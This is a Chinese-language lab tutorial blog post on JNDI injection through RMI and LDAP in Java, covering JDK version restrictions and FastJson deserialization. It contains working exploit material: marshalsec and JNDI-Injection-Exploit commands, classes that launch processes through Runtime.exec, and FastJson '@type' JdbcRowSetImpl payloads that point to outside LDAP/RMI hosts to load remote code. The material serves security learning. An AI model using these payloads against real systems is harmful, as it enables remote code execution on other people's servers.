第37天:安全开发-JavaEE应用JNDI注入RMI服务LDAP服务JDK绕过调用链类
- IT业界
- 2025-08-25 20:15:02

时间轴: 思考明白: 什么是 jndi 注入 为什么有 jndi 注入 JDNI 注入安全问题 JDNI 注入利用条件 参考: blog.csdn.net/dupei/article/details/120534024
drun1baby.top/2022/07/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJNDI%E5%AD%A6%E4%B9%A0/#0x01-%E4%BB%80%E4%B9%88%E6%98%AF-jndi
演示案例:JNDI 注入-RMI&LDAP 服务
JNDI 注入-FastJson 漏洞结合
JNDI 注入-JDK 高版本注入绕过
JNDI 注入-RMI&LDAP 服务 J NDI 全称为 Java Naming and DirectoryInterface ( Java 命名和目录接口), 是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来 定义用户、网络、机器、对象和服务等各种资源。 JNDI 支持的服务主要有: DNS 、 LDAP 、 CORBA 、 RMI 等。 RMI :远程方法调用注册表 LDAP :轻量级目录访问协议 调用检索: Java 为了将 Object 对象存储在 Naming 或 Directory 服务下,提供了 Naming Reference 功能,对象可以通过绑定 Reference 存储在 Naming 或 Directory 服务 下,比如 RMI 、 LDAP 等。 javax.naming.InitialContext.lookup() 在 RMI 服务中调用了 InitialContext.lookup() 的类有: org.springframework.transaction.jta.JtaTransactionManager.readObj ect() com.sun.rowset.JdbcRowSetImpl.execute() javax.management.remote.rmi.RMIConnector.connect() org.hibernate.jmx.StatisticsService.setSessionFactoryJNDINa me(Str ing sfJNDIName) 在 LDAP 服务中调用了 InitialContext.lookup() 的类有: InitialDirContext.lookup() Spring LdapTemplate.lookup() LdapTemplate.lookupContext() 演示:1.创建新项目Jndi-Inject-Demo
2.软件包com.example.jndiinjectdemo里写JndiDemo:
package com.example.jndiinjectdemo; import javax.naming.InitialContext; import javax.naming.NamingException; public class JndiDemo { public static void main(String[] args) throws NamingException { //创建一个rmi ldap等服务调用 实例化对象 InitialContext ini = new InitialContext(); //调用rmi ldap等服务对象类(远程服务) //ldap://47.243.198.220:1389/5le86y = 远程地址的一个class文件被执行 //ini.lookup("ldap://47.243.198.220:1389/5le86y"); ini.lookup("rmi://47.243.198.220:1099/5le86y"); } } 1.JNDI远程调用JNDI-Injection1.1使用xshell连接
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 47.243.198.2201.2使用ldap连接
1.3使用rmi连接
2.JNDI远程调用-marshalsec1 、使用远程调用 ( 默认端口 1389 ) new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/Test");
new InitialContext().lookup("rmi://xx.xx.xx.xx:1099/Test");
2、编译调用对象
javac Test.java
3、使用利用工具生成调用协议(rmi,ldap)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#Test
4、将生成的Class存放访问路径
2.1创建项目Jndi:
在下面创建一个Test.java:(生成test文件)
import java.io.IOException; public class Test { public Test() throws IOException { Runtime.getRuntime().exec("notepad"); } }生成Test.class:
进入终端terminal:
生成命令: cd .\src\main\java\ javac .\Test.java ls方法一:在xshell里面安装phpstudy:
wget -O install.sh notdocker.xp /install.sh && sudo bash install.sh方法二:
python -m SimpleHTTPServer将文件放入该目录下
使用47.243.198.220/Test.class来查看下载成功没有
在下面创建一个ldap.java进行执行:
import javax.naming.InitialContext; public class ldap { public static void main(String[] args) throws Exception{ //创建一个rmi ldap等服务调用 实例化对象 //new InitialContext().lookup("rmi://47.94.236.117:1099/Test"); //调用rmi ldap等服务对象类(远程服务) //ldap://47.94.236.117:1389/nx5qkh = 远程地址的一个class文件被执行 //ini.lookup("ldap://47.94.236.117:1389/nx5qkh"); //new InitialContext().lookup("ldap://localhost:1389/Calc"); new InitialContext().lookup("ldap://47.94.236.117:1389/Test"); //new InitialContext().lookup("ldap://47.94.236.117:1389/Test"); } }使用xshell运行代码:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test记得打开phpstudy的防火墙
3.切换不同java,jdk版本 比较LDAP - marshalsec工具RMI marshalsec工具LDAP - jndi-inject工具RMI jndi-inject工具JDK 17 都可以 无法调用 无法调用 无法调用11版本 无法调用 无法调用 无法调用8u362 无法执行 无法执行 无法执行8U112 可以 可以 可以通过编辑器修改版本:
此处作者不做演示了。
对于jdk高版本无法绕过原因:
JDK 6u45、7u21之后:
java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,
将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。
使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
JDK 6u141、7u131、8u121之后:
增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,
因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
JDK 6u211、7u201、8u191之后:
增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,
禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
高版本绕过:
.mi1k7ea /2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/
kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
4.JNDI-Injection & marshalsec 实现原理 RMI调用 bind:将名称绑定到对象中; lookup:通过名字检索执行的对象; Reference类表示对存在于命名/目录系统以外的对象的引用。 Reference参数: className:远程加载时所使用的类名; classFactory:加载的class中需要实例化类的名称; classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;Registry首先启动,并监听一个端口,一般是1099:
Registry registry = LocateRegistry.createRegistry(1099);在这里,createRegistry(1099) 方法启动 RMI 注册表,并监听在端口 1099 上。
Server向Registry注册远程对象:
Reference reference = new Reference("Calc", "Calc", "http://localhost/"); ReferenceWrapper wrapper = new ReferenceWrapper(reference); registry.bind("calc", wrapper);服务器创建一个 Reference 对象,包含用于远程加载的类信息,然后将该 Reference 对象包装成 ReferenceWrapper,最后通过 registry.bind 注册到 RMI 注册表中,使用名字 “calc”。
Client从Registry获取远程对象的代理:
Object remoteObject = context.lookup("rmi://47.94.236.117:1099/calc");客户端获取 RMI 注册表的上下文,并通过 lookup 方法查找名为 “calc” 的远程对象,返回其代理。
Client通过这个代理调用远程对象的方法:
// 可以将返回的 remoteObject 转换为具体的远程接口类型,然后调用远程方法 // 例如:CalcInterface calc = (CalcInterface) remoteObject; // 远程方法调用示例 // 例如:calc.performCalculation();客户端通过获得的代理对象调用远程对象的方法。
Server端的代理接收到Client端调用的方法,参数,Server端执行相对应的方法: 在服务器端,RMI 框架接收到客户端调用的方法、参数等信息,并通过相应的远程对象执行对应的方法。
Server端的代理将执行结果返回给Client端代理: 执行结果将通过 RMI 框架返回给客户端的代理对象,使客户端能够获取到远程方法的执行结果。
import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.Reference; import java.rmi.server.ReferenceWrapper; public class RMIServer { public static void main(String[] args) throws Exception { // 创建 RMI 注册表并监听在 1099 端口上 Registry registry = LocateRegistry.createRegistry(1099); **// 创建一个包含类信息的 Reference 对象 // className: 远程加载时所使用的类名 // classFactory: 加载的类中需要实例化的类的名称 // classFactoryLocation: 远程加载类的地址,提供 classes 数据的地址可以是 file/ftp/http 等协议 Reference reference = new Reference("Calc", "Calc", "http://localhost/");** // 使用 Reference 对象创建 ReferenceWrapper 对象 ReferenceWrapper wrapper = new ReferenceWrapper(reference); // 将包装后的 Reference 对象绑定到 RMI 注册表上,使用名字 "calc" registry.bind("calc", wrapper); } } import java.lang.Runtime; public class Calc { public Calc() throws Exception{ Runtime.getRuntime().exec("mstsc"); } }5.ldap总代码及总结:
import javax.naming.InitialContext; public class ldap { public static void main(String[] args) throws Exception{ //1.jndi - rmi ldap服务 //2.rmi ldap 都可以进行远程调用对象 可以远程执行java代码class文件 //3.攻击利用中就用到了jndi-inject项目和marshalsec //3.1发现 jdk高版本会影响rmi和ldap的利用(marshalsec针对ldap有高版本绕过方法) //4.1 利用要知道其他类也能调用jndi注入(rmi,ldap) //创建一个rmi ldap等服务调用 实例化对象 //new InitialContext().lookup("rmi://47.94.236.117:1099/Test"); //调用rmi ldap等服务对象类(远程服务) //ldap://47.94.236.117:1389/nx5qkh = 远程地址的一个class文件被执行 //ini.lookup("ldap://47.94.236.117:1389/nx5qkh"); //new InitialContext().lookup("ldap://localhost:1389/Calc"); //new InitialContext().lookup("ldap://47.94.236.117:1389/Test"); //RMI marshalsec工具 //JDK 17版本 无法调用 //11版本无法调用 // 8u362 无法执行 // 8U112 可以 //RMI jndi-inject工具 //JDK 17版本 无法调用 //11版本无法调用 // 8u362 无法执行 // 8U112 可以 //new InitialContext().lookup("rmi://47.94.236.117:1099/Test"); //LDAP - marshalsec工具 //JDK 17 // 11版本 // 8u362 // 8U112 都可以 //LDAP - jndi-inject工具 //JDK 17版本 无法调用 //11版本无法调用 // 8u362 无法执行 // 8U112 可以 new InitialContext().lookup("ldap://47.94.236.117:1389/awvmkm"); } } 总结:1.jndi - rmi ldap服务 2.rmi ldap 都可以进行远程调用对象 可以远程执行java代码class文件 3.攻击利用中就用到了jndi-inject项目和marshalsec 3.1发现 jdk高版本会影响rmi和ldap的利用(marshalsec针对ldap有高版本绕过方法) 4.1 利用要知道其他类也能调用jndi注入(rmi,ldap)
JNDI注入-FastJson漏洞结合背景:JavaEE中接受用户提交的JSON数据进行转换(FastJson反序列化漏洞) 思路:利用InitialContext.lookup()中的进行JdbcRowSetImpl类JNDI服务注入 漏洞利用==FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性验证,==攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。
参考文章:
FastJson反序列化漏洞(复现)_fastjson漏洞复现-CSDN博客
1.先创建一个FSJNDI:
2.修改项目pom.xml:
3.在com下面创建一个Fsweb.java
package com.example.fsjndi; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; @WebServlet("/json") public class Fsweb extends HelloServlet{ @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String jsondata=req.getParameter("str"); System.out.println(jsondata); JSONObject jsonObject = JSON.parseObject(jsondata); System.out.println(jsonObject); } }4.修改index.jsp
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <!DOCTYPE html> <html> <head> <title>JSP - Hello World</title> </head> <body> <h1><%= "Hello World!" %> </h1> <br/> <a href="hello-servlet">Hello Servlet</a> <form action="/json" method="post"> please input json data:<input type="text" name="str"><br> <input type="submit" value="提交"> </form> </body> </html>5.如何进行直接/json访问
6.漏洞利用尝试: {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://47.83.186.173:1389/ejzqto","autoCommit":true} 7.黑盒你怎么知道fastjson 所以利用漏洞poc:在500状态栏中由fastjson:
在发送数据时为json数据:
8.漏洞原因:(和上节课相同)反序列化时进行转换
9.为什么可以在com.sun.rowset.JdbcRowSetImpl中使用lookup? 10.不同版本jdk8u_362: {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://47.83.186.173:1389/Test","autoCommit":true}结果:
接受了但没有反应,因为和fastjson逻辑还是不符合
总结:javaee开发一个json转换功能
利用fastjson组件实现的(Web应用)
和今天jndi注入(rmi ldap连贯)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://47.94.236.117:1099/wktunx","autoCommit":true}
黑盒你怎么知道fastjson 所以利用漏洞poc
白盒知道fastjson 那poc为什么那样写
com.xiaodi.Run 执行命令的一个类(是我们自己写的 实战你不能写)
我们学习的ldap rmi 怎么和com.sun.rowset.JdbcRowsetImpl联系上呢?
实验去调用ldap rmi javax.naming.Initialcontext.lookup()
Initialcontext.lookup()方法 com.sun.rowset.JdbcRowsetImpl类用到
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://47.94.236.117:1099/wktunx","autoCommit":true}
该文章由李豆豆喵和番薯小羊卷~共同完成。
第37天:安全开发-JavaEE应用JNDI注入RMI服务LDAP服务JDK绕过调用链类由讯客互联IT业界栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“第37天:安全开发-JavaEE应用JNDI注入RMI服务LDAP服务JDK绕过调用链类”
上一篇
python读写各种格式文件
下一篇
Unity全局屏幕点击特效